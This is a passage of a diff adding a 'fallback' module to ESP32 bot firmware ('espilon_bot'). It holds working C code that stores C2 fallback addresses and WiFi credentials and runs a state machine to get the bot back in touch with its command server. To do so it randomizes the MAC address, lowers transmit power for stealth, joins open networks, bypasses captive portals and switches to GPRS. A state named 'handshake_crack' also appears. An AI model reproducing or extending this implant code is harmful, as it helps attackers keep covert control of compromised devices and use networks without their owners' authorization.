||||
}
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
int fb_config_c2_count(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
int fb_config_c2_list(fb_c2_addr_t *out, int max_count)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return 0;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
if (count > max_count) count = max_count;
|
||||
if (count > CONFIG_FB_MAX_C2_FALLBACKS) count = CONFIG_FB_MAX_C2_FALLBACKS;
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(fb_c2_addr_t));
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].addr, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool fb_config_c2_add(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[FB_ADDR_MAX_LEN] = {0};
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
nvs_close(h);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= CONFIG_FB_MAX_C2_FALLBACKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)count);
|
||||
nvs_set_str(h, key, addr);
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool fb_config_c2_remove(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
int found = -1;
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[FB_ADDR_MAX_LEN] = {0};
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16], buf[FB_ADDR_MAX_LEN];
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
|
||||
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage
|
||||
* ============================================================ */
|
||||
|
||||
void fb_config_save_orig_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Failed to read STA MAC");
|
||||
return;
|
||||
}
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return;
|
||||
|
||||
nvs_set_blob(h, "orig_mac", mac, 6);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
bool fb_config_get_orig_mac(uint8_t mac[6])
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
size_t len = 6;
|
||||
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
|
||||
nvs_close(h);
|
||||
return (err == ESP_OK && len == 6);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
66
espilon_bot/components/mod_fallback/fb_config.h
Normal file
66
espilon_bot/components/mod_fallback/fb_config.h
Normal file
@ -0,0 +1,66 @@
|
||||
/*
|
||||
* fb_config.h
|
||||
* NVS-backed known networks + C2 fallback addresses.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_FB_MAX_KNOWN_NETWORKS
|
||||
#define CONFIG_FB_MAX_KNOWN_NETWORKS 16
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_FB_MAX_C2_FALLBACKS
|
||||
#define CONFIG_FB_MAX_C2_FALLBACKS 4
|
||||
#endif
|
||||
|
||||
#define FB_SSID_MAX_LEN 33 /* 32 + NUL */
|
||||
#define FB_PASS_MAX_LEN 65 /* 64 + NUL */
|
||||
#define FB_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[FB_SSID_MAX_LEN];
|
||||
char pass[FB_PASS_MAX_LEN];
|
||||
} fb_network_t;
|
||||
|
||||
/* Init NVS namespace + migrate from old rt_cfg if needed. */
|
||||
void fb_config_init(void);
|
||||
|
||||
bool fb_config_net_add(const char *ssid, const char *pass);
|
||||
bool fb_config_net_remove(const char *ssid);
|
||||
int fb_config_net_list(fb_network_t *out, int max_count);
|
||||
int fb_config_net_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char addr[FB_ADDR_MAX_LEN]; /* "ip:port" */
|
||||
} fb_c2_addr_t;
|
||||
|
||||
bool fb_config_c2_add(const char *addr);
|
||||
bool fb_config_c2_remove(const char *addr);
|
||||
int fb_config_c2_list(fb_c2_addr_t *out, int max_count);
|
||||
int fb_config_c2_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage (for restoration)
|
||||
* ============================================================ */
|
||||
|
||||
void fb_config_save_orig_mac(void);
|
||||
bool fb_config_get_orig_mac(uint8_t mac[6]);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
703
espilon_bot/components/mod_fallback/fb_hunt.c
Normal file
703
espilon_bot/components/mod_fallback/fb_hunt.c
Normal file
@ -0,0 +1,703 @@
|
||||
/*
|
||||
* fb_hunt.c
|
||||
* Fallback hunt state machine — autonomous network recovery.
|
||||
* FreeRTOS task (8KB stack, Core 1).
|
||||
*
|
||||
* Pipeline: known networks → open WiFi + captive bypass → loop
|
||||
* No C2 commands needed — auto-triggered on TCP failure.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_hunt.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/event_groups.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "fb_config.h"
|
||||
#include "fb_stealth.h"
|
||||
#include "fb_captive.h"
|
||||
|
||||
static const char *TAG = "FB_HUNT";
|
||||
|
||||
#define FB_HUNT_STACK 8192
|
||||
#define FB_HUNT_PRIO 6
|
||||
#define FB_WIFI_TIMEOUT_MS 8000
|
||||
#define FB_TCP_TIMEOUT_S 5
|
||||
#define FB_RESCAN_DELAY_S 60
|
||||
|
||||
/* Event bits for WiFi events */
|
||||
#define FB_EVT_GOT_IP BIT0
|
||||
#define FB_EVT_DISCONNECT BIT1
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
|
||||
static volatile fb_state_t s_state = FB_IDLE;
|
||||
static char s_connected_ssid[33] = {0};
|
||||
static char s_connected_method[16] = {0};
|
||||
static atomic_bool s_active = false;
|
||||
static TaskHandle_t s_task_handle = NULL;
|
||||
static EventGroupHandle_t s_evt_group = NULL;
|
||||
|
||||
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
|
||||
static SemaphoreHandle_t s_state_mutex = NULL;
|
||||
|
||||
/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */
|
||||
static bool s_skip_gprs = false;
|
||||
|
||||
static inline void state_lock(void) {
|
||||
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
|
||||
}
|
||||
static inline void state_unlock(void) {
|
||||
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
|
||||
}
|
||||
|
||||
/* Saved original WiFi config for restore */
|
||||
static wifi_config_t s_orig_wifi_config;
|
||||
static bool s_orig_config_saved = false;
|
||||
|
||||
/* State name lookup */
|
||||
static const char *state_names[] = {
|
||||
[FB_IDLE] = "idle",
|
||||
[FB_STEALTH_PREP] = "stealth_prep",
|
||||
[FB_PASSIVE_SCAN] = "passive_scan",
|
||||
[FB_TRYING_KNOWN] = "trying_known",
|
||||
[FB_TRYING_OPEN] = "trying_open",
|
||||
[FB_PORTAL_CHECK] = "portal_check",
|
||||
[FB_PORTAL_BYPASS] = "portal_bypass",
|
||||
[FB_C2_VERIFY] = "c2_verify",
|
||||
[FB_HANDSHAKE_CRACK] = "handshake_crack",
|
||||
[FB_GPRS_DIRECT] = "gprs_direct",
|
||||
[FB_CONNECTED] = "connected",
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* WiFi event handler for hunt (registered dynamically)
|
||||
* ============================================================ */
|
||||
|
||||
static void fb_wifi_event_handler(void *arg, esp_event_base_t base,
|
||||
int32_t id, void *data)
|
||||
{
|
||||
if (!s_evt_group) return;
|
||||
|
||||
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
|
||||
xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP);
|
||||
}
|
||||
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static void set_state(fb_state_t new_state)
|
||||
{
|
||||
state_lock();
|
||||
s_state = new_state;
|
||||
state_unlock();
|
||||
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
|
||||
}
|
||||
|
||||
/* Try to connect to a WiFi network. Returns true if got IP. */
|
||||
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
|
||||
{
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
|
||||
if (pass && pass[0]) {
|
||||
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
|
||||
}
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT);
|
||||
esp_wifi_connect();
|
||||
|
||||
EventBits_t bits = xEventGroupWaitBits(
|
||||
s_evt_group,
|
||||
FB_EVT_GOT_IP | FB_EVT_DISCONNECT,
|
||||
pdTRUE, /* clear on exit */
|
||||
pdFALSE, /* any bit */
|
||||
pdMS_TO_TICKS(timeout_ms)
|
||||
);
|
||||
|
||||
if (bits & FB_EVT_GOT_IP) {
|
||||
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try TCP connect to C2. Returns true if reachable. */
|
||||
static bool tcp_try_c2(const char *ip, int port)
|
||||
{
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr.s_addr = inet_addr(ip);
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return false;
|
||||
|
||||
struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
lwip_close(s);
|
||||
|
||||
if (ret == 0) {
|
||||
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try C2 primary + fallbacks. Returns true if any reachable. */
|
||||
static bool verify_c2_reachable(void)
|
||||
{
|
||||
set_state(FB_C2_VERIFY);
|
||||
|
||||
/* Try primary C2 */
|
||||
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Try NVS fallback addresses */
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
if (tcp_try_c2(ip_buf, port)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Mark successful connection */
|
||||
static void mark_connected(const char *ssid, const char *method)
|
||||
{
|
||||
state_lock();
|
||||
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
|
||||
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
|
||||
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
|
||||
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
|
||||
state_unlock();
|
||||
set_state(FB_CONNECTED);
|
||||
|
||||
ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WiFi scan
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[33];
|
||||
uint8_t bssid[6];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
wifi_auth_mode_t authmode;
|
||||
} fb_candidate_t;
|
||||
|
||||
#define FB_MAX_CANDIDATES 32
|
||||
|
||||
static fb_candidate_t s_candidates[FB_MAX_CANDIDATES];
|
||||
static int s_candidate_count = 0;
|
||||
|
||||
static void do_wifi_scan(void)
|
||||
{
|
||||
s_candidate_count = 0;
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
wifi_scan_config_t scan_cfg = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time = {
|
||||
.active = { .min = 120, .max = 300 },
|
||||
},
|
||||
};
|
||||
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
|
||||
return;
|
||||
}
|
||||
|
||||
uint16_t ap_count = 0;
|
||||
esp_wifi_scan_get_ap_num(&ap_count);
|
||||
if (ap_count == 0) {
|
||||
ESP_LOGW(TAG, "Scan: 0 APs found");
|
||||
return;
|
||||
}
|
||||
|
||||
if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES;
|
||||
|
||||
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
|
||||
if (!records) {
|
||||
esp_wifi_clear_ap_list();
|
||||
return;
|
||||
}
|
||||
|
||||
esp_wifi_scan_get_ap_records(&ap_count, records);
|
||||
|
||||
for (int i = 0; i < ap_count; i++) {
|
||||
fb_candidate_t *c = &s_candidates[s_candidate_count];
|
||||
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
|
||||
c->ssid[sizeof(c->ssid) - 1] = '\0';
|
||||
memcpy(c->bssid, records[i].bssid, 6);
|
||||
c->rssi = records[i].rssi;
|
||||
c->channel = records[i].primary;
|
||||
c->authmode = records[i].authmode;
|
||||
s_candidate_count++;
|
||||
}
|
||||
|
||||
free(records);
|
||||
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 1: Try known networks (original WiFi + NVS)
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_known_networks(void)
|
||||
{
|
||||
set_state(FB_TRYING_KNOWN);
|
||||
|
||||
/* Try original WiFi config first (the one we were connected to) */
|
||||
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
|
||||
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
|
||||
(char *)s_orig_wifi_config.sta.ssid);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
|
||||
(char *)s_orig_wifi_config.sta.password,
|
||||
FB_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
|
||||
}
|
||||
}
|
||||
|
||||
/* Then try NVS known networks */
|
||||
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
|
||||
int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (net_count == 0) {
|
||||
ESP_LOGI(TAG, "No additional known networks in NVS");
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int n = 0; n < net_count; n++) {
|
||||
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(nets[n].ssid, "known");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 2: Try open WiFi networks + captive portal bypass
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_open_networks(void)
|
||||
{
|
||||
set_state(FB_TRYING_OPEN);
|
||||
|
||||
for (int i = 0; i < s_candidate_count; i++) {
|
||||
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
|
||||
continue;
|
||||
if (s_candidates[i].ssid[0] == '\0')
|
||||
continue; /* hidden */
|
||||
|
||||
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
|
||||
s_candidates[i].ssid, s_candidates[i].rssi);
|
||||
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) {
|
||||
/* Check for captive portal */
|
||||
set_state(FB_PORTAL_CHECK);
|
||||
fb_portal_status_t portal = fb_captive_detect();
|
||||
|
||||
if (portal == FB_PORTAL_NONE) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
} else if (portal == FB_PORTAL_DETECTED) {
|
||||
set_state(FB_PORTAL_BYPASS);
|
||||
if (fb_captive_bypass()) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open+portal");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
|
||||
s_candidates[i].ssid);
|
||||
} else {
|
||||
/* FB_PORTAL_UNKNOWN — try C2 directly anyway */
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Hunt task — main state machine
|
||||
* ============================================================ */
|
||||
|
||||
extern atomic_bool fb_active; /* defined in WiFi.c */
|
||||
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
extern void wifi_pause_reconnect(void);
|
||||
extern void wifi_resume_reconnect(void);
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* WiFi lazy init (for GPRS primary mode)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
static bool s_wifi_inited = false;
|
||||
|
||||
static void ensure_wifi_init(void)
|
||||
{
|
||||
if (!s_wifi_inited) {
|
||||
ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback");
|
||||
extern void wifi_init(void);
|
||||
wifi_init();
|
||||
s_wifi_inited = true;
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 3: GPRS direct (WiFi primary mode only)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_FB_GPRS_FALLBACK
|
||||
|
||||
static bool try_gprs_direct(void)
|
||||
{
|
||||
if (s_skip_gprs) {
|
||||
ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)");
|
||||
return false;
|
||||
}
|
||||
|
||||
set_state(FB_GPRS_DIRECT);
|
||||
ESP_LOGI(TAG, "Trying GPRS direct connection");
|
||||
|
||||
setup_uart();
|
||||
setup_modem();
|
||||
|
||||
if (!connect_gprs() || !connect_tcp()) {
|
||||
close_tcp_connection();
|
||||
ESP_LOGW(TAG, "GPRS direct failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
mark_connected("GPRS", "gprs");
|
||||
|
||||
/* Mini RX loop via GPRS — stays here until hunt is stopped */
|
||||
while (s_active) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
|
||||
close_tcp_connection();
|
||||
return false; /* Hunt was stopped externally */
|
||||
}
|
||||
|
||||
#endif /* CONFIG_FB_GPRS_FALLBACK */
|
||||
|
||||
static void hunt_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
ESP_LOGI(TAG, "Fallback hunt task started");
|
||||
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
/* In GPRS mode, WiFi may not be initialized yet */
|
||||
ensure_wifi_init();
|
||||
#endif
|
||||
|
||||
/* Save MAC before we randomize it */
|
||||
fb_stealth_save_original_mac();
|
||||
fb_config_save_orig_mac();
|
||||
|
||||
/* Save original WiFi config */
|
||||
if (!s_orig_config_saved) {
|
||||
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
s_orig_config_saved = true;
|
||||
}
|
||||
|
||||
/* Take control of WiFi from normal reconnect logic */
|
||||
fb_active = true;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_pause_reconnect();
|
||||
#endif
|
||||
|
||||
/* Register our event handler */
|
||||
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&fb_wifi_event_handler, NULL);
|
||||
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&fb_wifi_event_handler, NULL);
|
||||
|
||||
while (s_active) {
|
||||
|
||||
/* ---- STEALTH PREP ---- */
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
set_state(FB_STEALTH_PREP);
|
||||
fb_stealth_randomize_mac();
|
||||
fb_stealth_low_tx_power();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
#endif
|
||||
|
||||
/* ---- SCAN ---- */
|
||||
set_state(FB_PASSIVE_SCAN);
|
||||
do_wifi_scan();
|
||||
|
||||
/* ---- STRATEGY 1: Known networks ---- */
|
||||
if (s_active && try_known_networks()) break;
|
||||
|
||||
/* ---- STRATEGY 2: Open networks + captive portal ---- */
|
||||
if (s_active && try_open_networks()) break;
|
||||
|
||||
#ifdef CONFIG_FB_GPRS_FALLBACK
|
||||
/* ---- STRATEGY 3: GPRS direct (last resort) ---- */
|
||||
if (s_active && try_gprs_direct()) break;
|
||||
#endif
|
||||
|
||||
/* ---- All strategies failed — wait and rescan ---- */
|
||||
if (!s_active) break;
|
||||
|
||||
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
|
||||
FB_RESCAN_DELAY_S);
|
||||
set_state(FB_IDLE);
|
||||
|
||||
for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- Cleanup ---- */
|
||||
|
||||
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&fb_wifi_event_handler);
|
||||
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&fb_wifi_event_handler);
|
||||
|
||||
if (s_state == FB_CONNECTED) {
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_restore_tx_power();
|
||||
#endif
|
||||
fb_active = false;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_resume_reconnect();
|
||||
#endif
|
||||
ESP_LOGI(TAG, "Hunt complete — handing off to client task");
|
||||
} else {
|
||||
/* Restore original WiFi config */
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_restore_mac();
|
||||
fb_stealth_restore_tx_power();
|
||||
#endif
|
||||
if (s_orig_config_saved) {
|
||||
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
}
|
||||
fb_active = false;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_resume_reconnect();
|
||||
#endif
|
||||
esp_wifi_connect();
|
||||
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
|
||||
}
|
||||
|
||||
s_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
const char *fb_hunt_state_name(fb_state_t state)
|
||||
{
|
||||
if (state <= FB_CONNECTED)
|
||||
return state_names[state];
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
fb_state_t fb_hunt_get_state(void)
|
||||
{
|
||||
state_lock();
|
||||
fb_state_t st = s_state;
|
||||
state_unlock();
|
